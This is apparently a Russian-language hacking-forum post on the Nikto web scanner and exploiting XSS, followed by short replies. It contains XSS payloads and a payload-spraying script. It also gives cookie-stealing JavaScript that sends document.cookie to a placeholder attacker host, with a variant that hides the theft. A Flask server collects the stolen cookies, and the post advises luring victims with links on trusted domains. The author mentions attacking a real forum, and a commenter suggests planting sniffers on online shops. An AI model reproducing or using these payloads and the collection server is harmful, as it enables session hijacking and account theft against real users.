Загрузка...

Знакомство с веб сканером уязвимостей Nikto и эксплотация XSS

Тема в разделе Веб уязвимости создана пользователем NK_TRIPLLE 12 мар 2025. (поднята 2 май 2025) 461 просмотр

Загрузка...
  1. NK_TRIPLLE
    NK_TRIPLLE Автор темы 12 мар 2025 https://nk-triplle.com/ 3658 30 май 2022
    Теория:
    Веб сканер уязвимостей это автоматизированная утилита которая просматривает каждый под домен и страницу сайта и ищет уязвимости.
    XSS - это уязвимость на сайте, а конкретно на стороне клиента, она позволяет встраивать вредоносный javascript код

    Для того что бы проверить базовый xss в инпуте достаточно написать <script>alert(2)</script>
    и отправить форму.


    Тестировать и проверять нужно поиск, логин, регистрацию, различные другие формы.
    Но для логина больше подходит sql injections, но об как нибудь в другой статье.


    Вот там все xss payloads в одном месте, можно пробывать каждый payload отдельно, можно скриптом кому как удобно.
    https://github.com/payloadbox/xss-payload-list
    Примитивный пример:
    Python
    import requests

    target_url = "http://example.com/vulnerable-endpoint"

    payloads = [
    "<script>alert('XSS1')</script>",
    "<img src=x onerror=alert('XSS2')>",
    "<svg/onload=alert('XSS3')>",
    "'\"><script>alert('XSS4')</script>",
    "<body onload=alert('XSS5')>"
    ]

    params = {"input": "value"}

    for payload in payloads:
    try:
    params["vulnerable_field"] = payload
    response = requests.post(target_url, data=params)
    if response.status_code == 200:
    print(f"Payload отправлен: {payload}")
    else:
    print(f"Ошибка {response.status_code} для payload: {payload}")
    except Exception as e:
    print(f"Ошибка при отправке payload {payload}: {e}")

    Полноценный CLI

    Python
    usage: XSS-Checker [-h] --url URL [--endpoint ENDPOINT] [--ext-url EXTRA_URL] [--cookies COOKIES]
    [--sig SIG] [--threads THREADS] [--timeout TIMEOUT]
    [--browser {Chrome,Chromium,Brave,Firefox,Edge}] [--driver DRIVER] [--proxy PROXY]
    [--writefile WRITEFILE] [--silent] [--update] [--version]

    XSS-Checker is a tool used to Check / Validate for XSS vulnerabilities

    optional arguments:
    -h, --help show this help message and exit
    --url URL Target URL to validate / check for XSS vulnerability
    --endpoint ENDPOINT Overwrite URL's endpoint to ENDPOINT (URL = {{RootURL}} + ENDPOINT)
    --ext-url EXTRA_URL Append EXTRA_URL to URL (URL = URL + EXTRA_URL)
    --cookies COOKIES Cookies data "CookieName1=CookieValue1; CookieName2=CookieValue2" (TO-DO)
    --sig SIG The message content of the pop-up box is used (default: XSS-Checker)
    --threads THREADS Number of concurrent threads (default: 5)
    --timeout TIMEOUT Time to wait for the page to finish loading in seconds (default: 10)
    --browser {Chrome,Chromium,Brave,Firefox,Edge}
    Browser used to validate / check for XSS vulnerability (default: Chrome)
    --driver DRIVER Location of Browser Driver (chromedriver, geckodriver, msedgedriver) path
    --proxy PROXY Proxy URL (eg 127.0.0.1:8080)
    --writefile WRITEFILE
    Write scan results to specified file
    --silent Display only "Vulnerable" results in the output
    --update Update XSS-Checker to the latest version
    --version Show version of XSS-Checker
    https://github.com/truocphan/XSS-Checker


    Практика:
    Выбираем сайт для практики:
    Рекомендую не пытаться искать уязвимости по средствам сканеров на популярных сайтах ибо они поддерживаются большим штатом CyberSec


    Установка nikto:
    git clone https://github.com/sullo/nikto

    cd nikto/program

    Сканирование сайта:
    ./nikto.pl -h http://www.example.com

    Пример ***** уязвимостей:

    [IMG]

    Для эксплатиции xss и nikto я нашел уязвимый сайт:
    Это форум каких-то феменисток, так вот nikto вывел и другие уязвимости помимо xss
    но сейчас не об этом.
    Как вы видите на скрине ***** уязвимостей всегда есть target_url это сайт который он сканирует
    также есть путь к уязвимой странице.
    nikto выводит также всю полезную информацию для устранения уязвимости и для её эксплуатации


    Вот вам payload для отправки куки на ваш сайт:
    JS
    <script>document.cookie&&fetch('https://ваш-сайт.com/upload',{method:'POST',body:new FormData().append('file',new Blob([document.cookie],{type:'text/plain'}),'cookies.txt')});</script>
    Также можно скрыть то что куки были отправлены нам что бы пользователь не сменил пароль:
    JS
    <script>document.cookie&&fetch('https://ваш-сайт.com/upload',{method:'POST',body:new FormData().append('file',new Blob([document.cookie],{type:'text/plain'}),'cookies.txt')}).then(()=>window.location.href='/');</script>


    Также что бы куки правильно обработать нам нужен сервер и эндпоинт upload
    Решил что бы это была полноценная статья добавить также код сервера, также стоит уточнить что домен не обязательно покупать можно указать только ip сервера и порт самого приложения.
    Python
    from flask import Flask, request
    import os

    app = Flask(__name__)

    UPLOAD_FOLDER = 'uploads'
    if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

    app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

    @app.route('/upload', methods=['POST'])
    def upload_file():
    if 'file' not in request.files:
    return 'Файл не найден', 400

    file = request.files['file']
    if file.filename == '':
    return 'Файл не выбран', 400

    file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
    file.save(file_path)
    return 'Файл загружен', 200

    if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)



    В нашем случае нужно сделать примерно следущее:
    example.com/уязвимая страница/наш js payload

    Для того что бы получить куки пользователя достаточно что бы он перешел по ссылке
    Большинство людей не смотреть на длину ссылки, смотрят лишь на домен ссылки, если домен безопасный переходят.

    На этом пожалуй всё, получилось и так довольно длинно, надеюсь было интересно, следущую статью напишу про sql injections :anime_thumbs_up:
     
  2. LOOKED
    LOOKED 12 мар 2025 :love2: TRX&ENERGY(FROM 100₽/66.000) - lzt.lol/trx-7 :love2: 6638 6 сен 2021
    с кайфом щас прочитаю спс
     
  3. cveattack
    cveattack 12 мар 2025 19 17 сен 2024
    а еще обойти httponly на нормальный сайтах)

    максимально неприятный цикл
     
    1. Посмотреть предыдущие комментарии (1)
    2. cveattack
      NK_TRIPLLE, ну и с вероятностью 90%, за найденную уязвимость, вы ничего не получите от кодеров сайта, помню типу отписал по поводу хсс на сайте (+обход httponly), ответ убил - "и что"
    3. NK_TRIPLLE Автор темы
      cveattack, ну для нормального заработка есть bugbounty, но для ру там очень мало проектов от mailru
    4. cveattack
      NK_TRIPLLE, поэтому ставим снифферы на онлайн шопы
Top